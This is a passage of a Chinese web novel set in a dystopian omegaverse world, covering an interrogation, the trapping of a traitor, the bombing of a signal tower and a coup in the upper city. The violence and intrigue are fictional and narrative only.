事到如今,景照想要撇清自己与叛乱党的关系,就只能如实交代了。 她抓耳挠腮,嘴巴开开合合欲言又止,最后才磕磕巴巴说:“我的同伴们都是无辜的,她们和叛乱党绝对没有关系。” 我点头,指了指旁边的卡瑟娜,“你不相信我,难道不相信卡瑟娜?” 提起卡瑟娜,景照的表情一下子就松下去了。 我:……卡瑟娜你的名声真好用。 我又气不过,在桌子底下狠狠捏了她一下。 感受到疼痛的卡瑟娜疑惑地侧头,给我一个莫名其妙的眼神。 景照已经做好了思想建设,低着脑袋缓缓开口。 “我的同伙就是一起组织游行的人,但私藏枪支的事情和我们无关,我自己也没想到被逮捕后会在家里搜查到枪支。克亚区的枪支监管严格,但军事学院内会有专门的训练用枪支,我的同伙之一有学校军火库的钥匙,她偷摸摸趁着巡逻士兵交班的时候藏了一些带出来。” 我蹙眉,“就算是学校的枪支,也会有编号。但当天巡逻和清点库存的士兵没有发现丢失。” 景照的声音稍微大了点,“所以我们并不是真的想偷抢,而是盗取枪支模板。” “我们将枪支模板复刻下来后,又把枪还回去了。我的同伴们有一个是设计师,可以自己动手做出来。而提供我们打磨零件工具的,就是那个帮我们招揽游行者的人。至于她是谁,我们一直不知道。” “检察官又是怎么回事?”我追问。 “我确实知道他。”景照说道,“酒店就是他的财产之一。” 我略感意外,“哦?你再说说你们打磨的手枪交给谁了?” “我一个在酒店内打工的同伴。至于后面的事情,我已经被捕入狱,检察官被枪杀是我没想到的。但你都说了,杀死检察官手枪上的编号,和从我家中搜查出手枪上的编号是同一批,那就说明和我的同伴没有关系。” “是么?”卡瑟娜忽然出声,手拿通讯器绕过桌子,来到景照面前,“照片上的人,是你口中的同伴吗?” 在我的视线内,景照看见照片后一愣,然后迷茫摇头,“不是,我的同伴是都是alpha女性,这位beta男性不是我的同伴。” 意识到卡瑟娜不会无缘无故放出一张照片,景照的神情一下子紧张起来,“为什么突然问我这个?我的同伴呢?” 我呼出沉重的一口气,用略带同情遗憾的语气对她说:“恐怕遭遇不测。抱歉,景照同学,我们骗了你。凶案现场发现的手枪正是你们手工打磨的手枪,而捕捉到的凶手,却不是你的同伴。” 景照:“……” “如果不是卡瑟娜在他逃走前重伤他,我们恐怕连影子都抓不住,最后只能将你当做叛乱党抓起来。” 我给了她足足一分钟的时间伤心悲痛。 等她缓和过来情绪后,我说:“现在,你可以告诉我将打磨手枪交给同伴的目的了。” 景照:“……她说也要去杀一个人,但不是检察官!” “当时游行还没开始,所以我们肯定是不知道检察官会来克亚区的。” “我不知道她要杀的人是谁,但她说有渠道可以去上行城,还有机会杀掉上行城的某一个高级官员。我再三确认她要枪杀的人并非无辜后,我就把枪交给她了。” 事到如今,景照能交代的都交代完了,剩下的不用她说我也能大致猜出来。 我和卡瑟娜对视一眼。 离开审讯室后,我和卡瑟娜面对面。 “杀死检察官的就是叛乱党。”我低声说,“但还有一点疑问,叛乱党如何知道景照打磨了手枪?就算是从论坛上知道了几人,也没理由知道这种私密的事情。” “组织。”卡瑟娜语句简短,却一阵见血。 我靠着门框,简单地梳理脑海中的信息。 组织内的人或许在我初次前往军事区的时候就开始关注景照了,直至作为导火索的古奇伽中士死亡,在克亚区的组织内成员就开始大范围活动起来,借着游行四处布局。而此次的三万人暴力游行,就是组织想要的结果。 只是叛乱党掺杂在其中搅浑水,让本就混乱的局势雪上加霜。 我只能想到一个可能,组织内有叛乱党的人。 “那个同伴,你能调取资料吗?”我询问卡瑟娜。 卡瑟娜把通讯器递给我,而后微微昂首,说:“在福利院长大,接收政府资助上大学,但福利院被上行城的一位官员下达命令铲除。” 我认真翻看资料,发现这位官员还有点眼熟。 哇哦,这不就是为了洗钱而在贫民窟建立图书馆的那一位嘛!我当初还感谢他让我有了读书的机会呢! 再往下看,我发现她口中能去上行城的渠道,就是检察官。 “私生女?这种信息你也能查到?”我语气调侃。 卡瑟娜扯了扯嘴角,撇我一眼,“可以。” 差点忘了,卡瑟娜的身份不仅是军事区大将军,还是卡特勒的继承人。 这就能说得通为什么检察官会毫无防备地让凶手进入房间并靠近了。 哪一位高高在上的上行城人会对底层私生女心怀戒备呢?恐怕在他们的认知里,底层人从不具有反抗的勇气,就算有,那也只是短暂的挣扎罢了。 许久不曾见过面的父女,凶手稍加伪装就能骗过信任。 “现在就剩下那一批搜查出来的枪支了。”我说道,“不麻烦,直接推给叛乱党就行,正好给我们一个追查去贫民窟废墟的理由。” 卡瑟娜收回通讯器,“可以。” 时间也差不多了,我估摸着克亚区的官员们要找到这,正好顺便我把检察官被叛乱党杀死,又栽赃陷害景照及伙伴的好消息说出去。 往外走的路上,我又开始思考该如何抓住组织内的叛徒。 旁边的卡瑟娜显然也在思考这个问题。 等快到门口了,我和她默契停下来。 “卡瑟娜,你说我要是死了,组织内的叛徒会不会蹦出来?” “不会。”卡瑟娜说。 我笑容灿烂,“那如果我说,我们知道信号塔的位置呢?” alpha女性回过头,“风险很大。” “诱饵大,鱼才大。” 一道寒光闪过,血液喷溅到了阿丽的面颊上。 她看着地上的尸体,余光瞥见了挂在墙上的电子时钟。上面显示时间是9月1日晚十一点。 随身携带的特殊通讯器响了,是到达克亚区后白无垠发送而来的信息,上面用简单易懂的语言告诉阿丽检察官被刺身亡的消息。 再下面,是一条快速发送又极速撤回的信息。 白无垠:“阿丽,你能保证无论在任何时候,你都会替我做事吗?” 阿丽眯了眯眼睛,再仔细看通讯器的时候,只看见了一本书的名字。这本书是在贫民窟时白无垠最常借阅的书籍—— 作者有话说:因为剧情进展快到结尾,所以一切都磕磕巴巴,疯狂从脑袋沟壑里挤出文字来(被自己的形容逗笑了感觉有点地狱哈哈哈哈哈) 第100章 我们来克亚区的目的本来就是借着抓捕叛乱党的借口。就算叛乱党不打算往贫民窟废墟方向跑,我也会想办法把他们往那里赶。 现在杀死检察官的凶手确认是叛乱党后,反而更好抓了。 我不仅可以借着这个理由把景照从牢里捞出来,我还可以声势浩荡光明正大地跑去贫民窟废墟。叛徒或许也是打得这个主意,希望我能主动拿出信号塔的消息做诱饵。 他想要信号塔的消息,那我就告诉他,就看他有没有命听了。 我和卡瑟娜一起离开了关押犯人的牢房,前往前厅。 克亚区的高级官员早已经翘首以盼,搓着手等待我们俩人。眼底分明是惊疑不定,但脱口而出还还是谄媚和客套。 记者们挤在最后面,想要伸出脑袋来看发生了什么,却被拦在外面。 “将军,白副院长。”站在最前面的官员拉着笑容热情走过来,“两位的事情都已经处理好了?” “没有啊。”我笑得比他还亲切热情,当着一众记者的面与他勾肩搭背,“还是你觉得我的事情很好处理吗?” 这位官员被我勾肩搭背还一副受宠若惊的模样,但听了我后半句话顿时汗流浃背,笑容都紧绷了,“哪里敢啊,白副院长您在这个位置上处理的事情比我这个小管要厉害的多。我就是按照我浅薄的认知说了一下。” 听听,好圆润的话,要不是我没安好心,我还真吃他这一套。 “你在说什么呢。”我不赞同摇头,“不要妄自菲薄,你肯定也能做好。” “正巧,我和将军从监狱里的犯人口中审出一些有用的信息,你肯定能用到。” 见他还在不情愿,我干脆大手一挥,“择日不如撞日,不要老想着寒暄客套走程序,今天就把问题一次性解决了。反正大家都聚集在这里,这项工作谁负责谁就当场解决。” “谁要是推脱责任,没有解决好问题。”我说到这里,眼神意味深长起来,意有所指地看向卡瑟娜,“参议院和军事区高级军官有权先斩后奏。” 此话一出,我感觉被我揽着的官员身子更僵硬了。 而我的话也被记者们完完全全录了进去,一字不差转播到克亚区各大荧幕上。 卡瑟娜的手放在枪套上,冷淡的目光扫过我时被我精准捕捉到里面无语的情绪。 9月2日中午,检察官与9月1日晚被刺杀身亡的消息被副院长亲口曝出,且已经将罪魁祸首锁定为叛乱党余孽。 接下来的时间内,白副院长和将军卡瑟娜将会全力追捕叛乱党。 而被冤枉入狱的游行带头人景照于9月2日晚七点无罪释放回归正常生活。 景照被无罪释放了,官员们却不能回归生活。 所有官员都被压在监狱内,翻出各种陈年旧案冤假错案,然后点灯笼似的一个个抓起来问话。互相推皮球答不上来?很好,直接让士兵把家查封。 就这样杀鸡儆猴了几批人,其余的官员总算听话了。 而这一过程,被记者全程直播。 到了午夜,监狱内的喧哗才小声些。 我抓了抓头发,只觉得腰酸背痛。 “宵禁命令都确认下达了?”我问道。 “都下达了,士兵们也开始在区内各地巡逻,一旦发现可疑人员就会立刻抓捕。”小林跟在我身后语速极快,“只是兵力不足,需要请示将军多叫一些士兵过来吗?” “叫啊,怎么不叫?”我理所当然。 卡瑟娜过来时正好听见,开口说:“老师那也要求增加兵力。” 我有些意外,“隆多的速度那么快?要绕开卡特勒通过法案得花费好多心思吧?” 难道走的是的军事区路线?还是说番苏在其中周旋? 想不明白为什么,我就扭头问小林。 她才是卡特勒的人,这事她比我清楚,“团长有和你说些什么吗?或者通过你想向我警告什么?” 小林:“……她今天中午看到克亚区的直播后确实给我发送了消息,意思是您好好配合卡瑟娜将军。” “之后我就不知道了。” 我又问卡瑟娜:“你母亲让你做什么?” 卡瑟娜:…… 她抿着唇没有回答。 我从她沉默的回应中大致了解到卡特勒的意思。无非是趁着这个机会收揽克亚区的权利,最好趁此机会把贫民窟废墟的管理权也拿出来。 但这明显不符合卡瑟娜的立场,大庭广众下说出来又怕被小林听见,于是干脆选择沉默。 “既然不是你,那就是你老师那边干了好事。”我说道。 找出通讯器,阿丽正好给我发了消息。 快速浏览一遍信息,我神色自然地将信息删除,“阿丽给我发消息了。” “卡诺卡枪杀了约西尔霍里,在场的旁观者是番苏。” 我刚说完,卡瑟娜的眉头就皱起来了,“不可能,诺卡不是这样冲动的性格。” 他当然是冲动的性格,但我也知道卡瑟娜指的不是这一方面,而是“贤惠”的方面。结婚的日子越来越近,卡诺卡只会更加注重自己的言行举止。 哪怕约西尔是我的情人,卡诺卡也只认为这是“无关紧要的小事”。能让卡诺卡冲动枪杀约西尔,怎么想都是番苏搞的鬼。 当然,不排除约西尔真的不要命了去挑衅。 “卡瑟娜,是不是不重要。”我对卡瑟娜说道,“重要的是卡特勒退让了。你现如今在克亚区,正是收揽政权的重要时刻,一点点的疏忽都不允许存在。何况他也不可能让诺卡去坐牢。” 为了卡瑟娜,卡特勒只会让步,然后让法案通过。 这反而能让卡瑟娜以防止叛乱党混入的上行城为理由,光明正大派遣军力入驻上行城。 反正卡瑟娜是卡特勒的女儿,大家默认这是一伙的。 卡瑟娜明白这个道理吗? 当然明白,但不影响她生气。 “约西尔是你的情人。”卡瑟娜说道,“诺卡是你的未婚夫。” 她压着怒火垂眸看我。 气氛有些压抑。 我一边腰杆挺直,一边内心吐槽alpha怎么各个都长得擎天柱一样,看得人脖子疼。 “小林,你先回去。” 小林如释重负,抱着文件飞快离开。 “你知道老师会对约西尔霍里动手。”卡瑟娜直接开口,眉眼凝着些许烦躁,“诺卡也知道,对么?” “对。”我大方承认,“卡瑟娜,你在生气?生气我利用诺卡,哄骗诺卡在这个时期杀了约西尔?” 卡瑟娜眉毛皱得更紧了,就是在告诉我,她不乐意的就是这件事。 我轻笑,“卡瑟娜,约西尔知道我们的身份,可他却是霍里家族的人,留着他就是个定时炸弹。而他和诺卡又正好互相看不顺眼,那这不是正好的机会吗?” “我说过了,组织不会让我干任何干扰组织的事情,如果默认,那就说明有好处。那好处不就来了么?法案通过后我们的人就可以顺利进入上行城,而你的军力也能顺利进入上行城。卡特勒还会替你掩护。” “你担心诺卡?没必要吧,首领会记他功劳一件。” “……”卡瑟娜的胸膛微微起伏。 她长得高,在性别多为beta的克亚区内,过分的身高似乎让走廊的天花板都变矮了*。 狭小的空间和高大的身形有很强烈对比,以至于我抬头看她时会感觉压迫感十足。 于是我又开始游神天外,咬牙切齿凭什么alpha就长那么高啊,beta也想要那么高! 等我游神天外回来,卡瑟娜也没想好怎么反驳我的话。 沉默寡言的人是这样的,也就是工作上能多说点话,谈起私事来半天蹦不出一个字。 我就这么看着她欲言又止,止言又欲,想揍我又没动手,于是一甩手大步离开了。 “拜拜~”我在后面挥手告别。 监狱内也提供休息区。 我和小林商量了一下明天的工作内容,跟随狱警前往休息区域。 狱警小哥频频回头观看,直到把我送入房间,他还是没忍住看我。 我回往他,他就红着脸,“白,白副院长,就是这了。” 居住条件还算不错,有水有电还有电视机和空调。 我道谢一声,在他即将离开前问他,“有宵夜吗?我有些饿。” 小哥脸更红了,清秀白净的脸上满是紧张无措。 我这么问当然不是问宵夜。 他口袋印出来的圈太明显了,我不想看见都难。 “有,有的,但我得去准备。” 我挑眉,“好啊。” 门关上后,我去了一趟洗漱间。 等再出来,小哥已经换了身衣服回来了。 他全程表现得很拘谨,努力调情,还会问我一些莫名其妙的问题。 比如alpha和omega有什么不一样。beta和其他性别有什么不一样。 我是不是真的很爱未婚夫,这次之后会不会忘记他然后再也不管他。 我没回答,他就顶着委屈的表情看我,楚楚可怜。 等快把衣服脱到裤子,他红着眼眶看我,“你,你为什么都没反应?” “你不是喜欢我吗?” 我这才恍然大悟般,然后开始股掌,“我就说我在组织里的形象迟早出事吧!现在好了,是个人都以为我来者不拒。” “我很有原则的,不干净的东西我不吃。” 小哥一愣,原本红着的面颊血色褪尽,“你,你什么意思?” 我弯着眉眼看他,视线往下拉,“没听出来吗?不应该啊,以你的熟练程度,之前没少干类似的事情吧。” 被戳穿的他脸色骤变,动作飞快地从衣服里拿出枪对准我。 “砰!” 子弹穿门而过,击中他的手腕。 “啊啊啊!”他发出痛苦的惨叫声。 卡瑟娜打开房门,原本就不高兴的臭脸这会更不高兴了,“哼!” 我将叛徒踢倒在地,又用手铐将他压制住。听着卡瑟娜不满的哼声,我满脸无辜,“我又没干什么,他自己要脱衣服的!”—— 作者有话说:要加快进程了呢魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-103 第101章 我以为这个叛徒很难抓。 能抓住他全看赌。现如今克亚区施行宵禁,士兵们在渐渐缩小包围圈排查叛乱党余孽。而番苏提交的法案今天通过,明天就会施行,到时候被确认没问题的克亚区公民就能自行申请移民。 叛徒也不能确定在明天之后会发生什么变故,正巧今晚我和卡瑟娜又“闹气矛盾”,而我不怎么好听的形象在组织内众所周知。 于是,他按耐不住了。 卡瑟娜的动作快速又果断,抓到人之后防止节外生枝,就借着枕头做消音工具开枪杀了他。 “你就不怕还有另外的人接应?”我笑着打趣。 卡瑟娜丢掉枕头,面无表情说:“你觉得?” 我耸肩:“等会让监狱长过来收拾,罪名就是刺杀我,但被赶来的你阻止。你只知道他剩余的同党要去贫民窟废墟,还没来得及审问出更多信息,他就抢过手枪自杀了。” “好。”卡瑟娜点头。 没多久,监狱长赶过来。 不知道他有没有相信我和卡瑟娜的说辞,但我给他的态度就是“上行城的政治斗争,你乖乖办事”。 监狱长确实没敢说话,让狱警们把尸体清理出去后,就点头哈腰这离开了。 我和卡瑟娜对视一眼,心照不宣明天要发生的事情。 9月3日,克亚区又一次迎来了清晨的阳光。 早上八点,移民法案正式施行,配合克亚区捕捉叛乱党余孽的行动,任何通过了排查的公民都必须在最短时间内收拾好行礼,乘坐专门的公交车前去前去上行城。 而军事区则会负责负责接应。 军事区内,白灯湾清算叛乱党的进程推到了最高潮,每分每秒都能传来新的消息。 但白灯湾不是真的什么都不知道。 但对卡特勒的信任又让白灯湾选择旁观,分出更多的精力。尤其是有一部份的叛乱党同样察觉到了群岛的位置,正在群岛附近进行反扑。 就像是行军蚁一样,不知疲倦地要把白灯湾啃下来一块。 “你确定信号塔就在这个位置?”我拿着无人区的地图询问卡瑟娜。 此时我和她正坐在前往贫民窟废墟的武装车内,车窗外行驶的是一辆又一辆装在了热武器的重型卡车。 卡瑟娜点头,手指指着信号塔周围的几个点位,“所有士兵吞下解药,在这三个点放置定时炸弹。” 现在是下午五点,车辆行驶只需要短短的四个小时。但从贫民窟下车,步行到无人区却需要足足七个小时。 “无人区里的人怎么办?首领有安排吗?” 卡瑟娜说:“安排好,今晚八点无人区会再次暴乱,我们到达后以镇压暴乱为理由介入无人区。” “……呵,罗拉蒂尼为了这一天等二十多年了吧。”我轻笑,“真是辛苦她。” 卡瑟娜对我直呼首领名字的行为没有多少表示,只是用平静的眼神瞥了我一眼。 随着时间推移,我从车窗外看见很多背着包袱的克亚区公民坐上专门的运送车辆。 窗外的太阳彻底落下去,我终于看见远处一片白茫茫的废墟。 我点开通讯器,看见军事区再一次刷新的新闻。 依旧是更新的死伤人数名单,还有收复成功的领土。 令我意外的,是群岛的消息再也无法压制住彻底曝出来。 尽管各大媒体已经竭尽全力地删除相关信息,下架各类视频,但眼疾手快的群众们还是以最快的速度保存并通过秘密渠道传出去。 我手指往下拉,没刷新一次,就能看见多出来几十条评论。 杜塔利雅在此节点再次发布宣告视频,破口大骂白灯湾的无耻途径,声称白灯湾躲在群岛的行为就是拿克亚区甚至是上行城的人挡刀。 而唾骂完白灯湾,杜塔利雅又把话题引到白矿石上,以通俗易懂的语言向各大公民解释白矿石得到作用。 到最后,她又摆出痛心疾首的模样,声泪俱下控诉白灯湾罪行,还拿出了当初我发布出去的视频,以哭腔对着镜头大声呐喊。 “古奇伽中士并非认罪自杀,而是逼不得已被迫承担本来属于白灯湾的错误!这本该由白灯湾负责,却让一个真正保卫公民的士兵承蒙黑锅!这不公平!” “白灯湾为了巩固统治,甚至将白矿石用在我我们的士兵身上,只是为了栽赃陷害,想好兵力!” 有什么东西正在今天以极快的速度酝酿,仿佛要把过去所有沉淀的东西一次性卷起来。 我下了车,视线快速扫过废墟。 到这里,武装车已经不能正常行驶,得需要重型卡车在前面清除障碍。 越是靠近,我的视线就越是白芒。 几个月过去了,贫民窟看着竟然比爆炸前整洁。 那是一种所有东西都被肃清后的整洁。因为所到之处都是废墟,所以就没有垃圾的概念了。 不知道从哪里传来一阵枪声。 我被反应迅速的卡瑟娜塞回了武装车内,只能看着外面的士兵和叛乱党余孽对仗。 这是一场压倒性的对抗。叛乱党们的精力绝大部分击中在群岛,一部分在军事区顽强抵抗,剩下最少得一部分则带着重要情报资料等东西回到废墟。 杜塔利雅的声音还在通讯器内播放。 “所有人都是人,所有人都是平等的!” “她们享受最好的资源,享受最好的生活,享受最好的环境,可一旦出现错误,却要你们来承担责任,凭什么!” “忠义的人背负死亡,无辜的人承受压力,可这群吸血鬼,却能在一切错误之后回到群岛继续享受,凭什么!” “轰——” 一颗携带了白矿石的炸弹轰然炸开,结束了这一场压倒性的对抗。 卡瑟娜收起枪支,头也不回地坐回车内对士兵们下达命令,“继续前进,镇压无人区暴乱!” 重型大卡车在前面清扫障碍,后排的士兵保证后勤。 杜塔利雅的声音还在播放。 爆炸后的废墟清除难度很大,饶是有大卡车在前面退,路程也很遥远。 我正摆弄我的通讯器,卡瑟娜忽然开口问:“白无垠,你在隐瞒什么?” “什么?”手的动作不停,我继续摆弄通讯器,翻看越来越热闹的网络。 今天移民过去的克亚区公民和上行城本地公民出现了大大小小的矛盾,而安置克亚区公民的房子显然不够,于是只能借用其他空置的房屋。 上行城人本来就看不惯乡巴佬,得知为了安置移民竟然要让出空置房屋,更是怒不可遏,直接打爆公安局电话。 好事者把事情上传到了社交平台上,于是又是一阵网络风暴。 我看打架看得津津有味,手枪的枪口却堵在我的太阳穴上。 卡瑟娜面无表情,“白无垠,你在隐瞒什么?” 那可太多了,我想想怎么从头开始说。 咳咳,开玩笑。 我摆出无辜脸,“你说什么?” 卡瑟娜:“老师找到了阿丽。9月1日开始她就不见踪迹,直到刚才,老师找到了阿丽。” 提起阿丽,我眼睛眨都不带眨的,“所以呢?阿丽不是在完成你们的任务吗?我人在这里,和我有什么关系?” 如果来询问我的人是番苏或罗拉蒂尼,那我没法隐瞒。 但询问我的是卡瑟娜,那就不行了。 但我又不能毫无顾忌。阿丽虽说是也是组织内部成员,但在这个关键时期,难道罗拉蒂尼不会干什么。 于是我将卡瑟娜的手枪移开,以缓和的语气说:“不要那么紧张,卡瑟娜,我和阿丽确实是朋友,但没有到这个地步。” “还是说,你觉得我隐瞒的事情能够影响组织?这可能吗?” 我动之以情晓之以理,“我如果真隐瞒了什么对组织计划有影响的事情,罗拉蒂尼就不会让你来询问我,而是亲自过来。” “你也知道这个节点很重要,她不会允许有差错的。” 卡瑟娜被我说服,放下了枪。 我维持着无辜的笑脸,低下头继续玩通讯器。 编辑了一条信息给阿丽,没什么指向性,只是简单的询问这几天她去哪里了。 我知道这条信息肯定会被番苏看见,说不定阿丽此时就被番苏看管着。 如果番苏看见了正好,没看见也无大碍。 简简单单一件事,我意识到一个重大的问题。 组织内,我没有多少有用的人。 负责白矿石研究的辛罗娅算一个,被我救了一命的杜塔利雅算半个,阿丽算一个,加上我就是三个半。 可这些人中,真正掌握权力的只有我。而我在组织内部成员里的话语权又排行最低。 这个试探结果让我很失望,又在我的意料之中。 加入组织不过三个月左右,而罗拉蒂尼布局将近二十年。她允许我成为内部成员,也不过是因为我能干而已。 那么,我该怎么做? 时间再一次往后推移,推到了午夜,来到9月4日。 无人区彻底暴露在车队面前。 我跳下车,只觉得眼前的一幕分外眼熟。 发了疯的alpha和omega,被拉出去淋上汽油点燃的监工,还有被爆炸摧毁的建筑物。 白矿石的碎屑跟着炸弹一起飞溅,强烈的刺激性气味刺激着所有人的腺体。 士兵们提前吃了药,又戴上了防毒口罩,轻松就能把暴乱压制。 而我跟在卡瑟娜身后,目光紧盯着她的背影,手指几乎掐进肉了。 要怎么做? 我该怎么做! 阿丽? 不,她得活着,她是我在组织内为数不多可以完全信任的同盟。 所以我不能把事情做绝,我得在极致的范围内争取最大的利益,同时保住阿丽! 与此同时,上行城传来消息。 一批持枪公民趁着夜色袭击了参议院大楼和陪审团大楼。 上行城快速响应,武装部队以极快的速度向白灯湾发送信号后就打算暴力镇压,可控制系统遭到毁灭性打击! 这一边,士兵们已经准备好了炸弹,后退好安全距离等待信号塔爆炸。 我与卡瑟娜肩并肩,心脏极快跳动。 卡瑟娜观察了一下距离,下达命令,“爆破!” 话音落下,士兵摁下爆破按钮。 剧烈的爆炸声轰然炸开,响彻云霄,闪烁的白光直接照亮了无人区的上空。 我被巨大的热浪掀得往后倒退好几步,抓住卡瑟娜才堪堪稳住身形。 “信号塔摧毁,所有人整装待发,回上行城!”—— 作者有话说:快了快了,快到完结了,小白还有最后再算计一下! 第102章 上行城陷入暴乱中。 参议院大楼和陪审团大楼被团团包围。 各种公共设施也挤满了从克亚区移民过来的公民。 而本应该快速做出响应的参议员和陪审团成员,在此时此刻却像死了一样平静,没有发出任何强有力的安抚和公告。 就连本应该镇压暴乱的警察都不见踪影。 上行城好像被白灯湾抛弃了。 番苏替罗拉蒂尼快速脱下繁重的服侍,又换上了轻便简介的衬衣。 “无人区的信号塔被炸毁,信息成功拦截了。”番苏说道。 两人正大步朝着秘密通道走去。 “回来需要多长时间?” “有军事区接应,最晚六个小时。”番苏回答,“但瑟娜没有从白无垠口中问到隐藏的事情,阿丽也不愿意透露。” “那个叫阿沐的年轻alpha呢?”罗拉蒂尼问。 “我们的人已经准备前去搜寻,但具体位置还在寻找。” 终于离开了通道,两人与接应人快速汇合。 罗拉蒂尼抬起头,看向了上行城中心的巨大白色光束。 在夜晚中,白色光束亮得晃人,甚至把月亮的光芒都遮盖,让人看了头晕目眩。 忽然,罗拉蒂尼想到了帕菲尔,“帕菲尔呢?今天通过法案后就探听不到他的消息。港口有找到他的踪迹么?” “没有。”番苏咬牙。 这对罗拉蒂尼来说不是好消息。 可要推迟吗?这一天等了足足二十年,谋划了二十年,到底还有什么是没有算清楚的? 她深呼吸,忍着颤抖的指间,缓缓说道,“镇压上行城暴乱,以防御为主,不要起正面冲突。” “先把包围参议院大楼和陪审团大楼的人群疏散,确认安全无误后摧毁它们。” “将名单上的有关人员全部关押到监狱内看守。” “记住最重要的一点,绝对不能伤及无辜。” 番苏点头:“是。” “阿丽现在在哪?” 番苏:“她被看守着。” 罗拉蒂尼:“让她先去找卡特勒和隆多。隆多家族追随总统那么多年,一定有应急方案。如果白无垠和隆多的利益纠缠到一定地步,白无垠会知道隆多要干什么。至于卡特勒,直接杀了她。” “是。” 番苏掩护罗拉蒂尼进入建筑物内,用眼神示意下属去传达命令。 另一边,得到自由的阿丽先是揉了揉手腕。 看着解开她手铐的人,问:“她呢?” 看守人知道阿丽问的是谁,于是说:“还没到最后时候,首领和白无垠还不到必须谁死的程度。你现在替首领办一件事,后续白无垠和首领会有考虑。” 阿丽想也没想就点了头,拿上手枪和匕首。 看守人没问阿丽要怎么在这个混乱的时候寻找卡特勒,而阿丽也不打算透露出去。 9月1日晚,白无垠曾经给阿丽发送过两条十秒钟就撤回的信息。 第一条告诉她检察官身亡的消息,第二条为贫民窟时白无垠时常借阅的一本书。 阿丽当然不会真的回贫民窟寻找书本。第二天,也就是9月2日的清晨,阿丽就前往了工作的图书馆,筛选所有书本后找到了那一本书。 里面的消息有很多,阿丽想要思考出来较为困难。 但长达七年的默契还是让阿丽理解了白无垠的意思,并在3日清晨动身。 可下午,阿丽为赶时间没来得及清理的查询痕迹就被番苏发现。 番苏没从阿丽口中问出什么东西。 而最重要的秘密,白无垠根本没有透露,就是为了留阿丽一条命等着双方在最后时期砝码交换。 所有装备准备完毕,阿丽离开了建筑物,借着夜色的掩护前去寻找卡特勒。 “轰——”爆炸声响起。 阿丽抽空看了一眼。 爆炸的是陪审团大楼。 曾经气势磅礴的建筑大厦此刻终于显露出狼狈,在弹药的摧毁下倒塌,暴露出里面的钢筋混泥土。 白色的粉尘和爆炸后的弹片飞出来,惊出好大一片范围。 在爆炸声后,似乎没有人再吵闹了,都在无声注视这一栋从前上行城内代表最高权力的建筑物。 在阿丽即将离开这片区域时,阿丽听到有人惊呼。 “陪审团大楼,真的没了!” 就好像陪审团也没了。 事实上,今晚之后陪审团也确实不会再出现。 卡特勒无比清晰地意识到了这一点。 无论重构组织的人今晚会不会成功,陪审团都会成为历史中的尘埃,然后被狠狠碾碎。 她也不知道此时自己应该想什么,应该做什么。 这好像是她自己造成的,是她的退让使得法案通过,让军事区的士兵可以光明正大进入上行城,更是真心希望卡瑟娜能够通过这一次的机会走向更高的位置。 卡特勒想到了很多,想到这个特殊时期,哪怕陪审团因为舆论和军事压力不得不解散,起码卡瑟娜能够爬上去。 但卡瑟娜背叛了阶级,背叛了母亲。 身边有一个喋喋不休到现在都弄不清形式的人在叫唤。 卡诺卡根本不明白不过是几天的时间,为什么那些暴力的克亚区公民会进入上行城,也不明白今天好端端的为什么会被拉着进入地下室。 这好像和姐姐有关,但卡诺卡怎么绞尽脑汁,都想不出怎么回事。 于是卡诺卡文:“妈妈,姐姐真的摧毁了和白灯湾通讯的信号塔吗?” 卡特勒声音平静,“嗯。” “为什么?”卡诺卡疑惑。 “轰!!”上方又传来一阵强烈的震动,通过屏幕上的转播,卡诺卡看见是参议院大楼被摧毁了。 他惊恐地爆发出尖叫,“啊!” 卡特勒疲惫地坐在椅子上。 她又开始思考,思考如果不是卡诺卡没有忍住射杀约西尔霍里,是不是就不会造成今天这个局面。 但思考下来,卡特勒发现并非如此。如果当初她没有把卡诺卡教养成这样,卡诺卡就不会射杀约西尔霍里。说到底,她旧是罪魁祸首。 一个接近暮年,位高权重,野心勃勃的陪审团团长,最终还是倒在了十八年前的心血来潮下。 她还输给了一个年轻气盛不过23岁的beta年轻人,而这个年轻人不过刚刚从贫民窟里出来不到三个月。 卡特勒在等待。 等待今晚的结果,也可能是在等待年轻人的清算。 “滴——”电子门锁开启的声音。 周围的保镖立刻警觉地将枪口对准门外。 而卡特勒久违地感觉到疲惫,却又在心底生出一种矛盾切诡异的期待。 “把枪放下。”卡特勒说道。 保镖们不理解,却照做了。 沉重的门打开,露出了年轻alpha的身形。 卡特勒看着阿丽,说:“我从小林的口中听说过你。” “小林说,你是克斯蒂简的人。我没有相信,但也想不出你的作用来。现在我知道了。你是来杀我的。” 她笑了笑,“你能替白无用回答我死前最后一个问题么?” 阿丽取出了手枪,将枪口对准卡特勒,“你问吧。” “你会为我的孩子,瑟娜做事吗?”卡特勒问。 她得到了否定的回答。 阿丽说:“无垠不会,我也不会。” “她叫白无垠?”卡特勒失笑,“这个名字比之前的好听多了,也适合她。” “只可惜她和瑟娜有竞争。就算不是现在,也是未来。” “妈妈!”卡诺卡害怕地颤抖,“你们到底在说什么?为什么她要杀你?白无用,她叫白无垠?到底怎么回事!姐姐又是怎么回事!” “按住他。”卡特勒冷下声调,“诺卡,我死前也应该把你带上,这样瑟娜和白无垠才有理由在未来拼个你死我活。” “但这个年轻人既然有本事到这来,我就知道白无垠还有其他的应对办法。所以你还是得嫁给白无垠,最好把她和瑟娜绑定在一起。” 卡特勒的遗言足够多了。 阿丽对将死之人没有那么多尊重,但白无垠会。 所以她很耐心,反正卡特勒不介意送死,那就等一等。 等到卡特勒下达命令,让保镖把卡诺卡打晕,然后抬起步子往枪口走。 “动手吧,年轻人。” 阿丽点头,按下了扳机。 尸体落在地上后,阿丽没有丝毫的犹豫,没有在意保镖和昏迷的卡诺卡,就转身离开了地下室。 回到一楼,阿丽和的前来清剿的组织人员擦肩而过。 隆多家族盘踞在上行城多年,躲藏的位置只会被卡特勒更加隐密。 阿丽回忆着白无垠给出的信息,寻找了很多地方。 时间一点点流逝,漆黑的夜晚即将过去。 原本混乱的街道被清空,所有普通人被勒令待在家中等待通知。 可直至清晨五点三十,阿丽也没有找到隆多的藏身地点,只能疲惫地坐在屋顶上等待日出。 阿丽看见了,位于商业街中心原本用来播放广告的大屏幕上,出现了一个年轻女人的身影。 “各位上行城,克亚区的公民,这里是白灯湾。我是诺伊娃,也是此次谈判的外交官。” 阿丽眨了眨眼。 就算被组织的人扣押,她也知道信号塔被卡瑟娜摧毁了。 可眼前的一幕又是怎么回事?为什么白灯湾还能联系大陆? 又一次想到在书本内找到的某条信息,阿丽动作迅速站起来朝着某个地方跑去! 与此同时,白无垠与罗拉蒂尼见面了。 “有两个信号塔。”罗拉蒂尼说道。 白无垠含着笑,“对。” 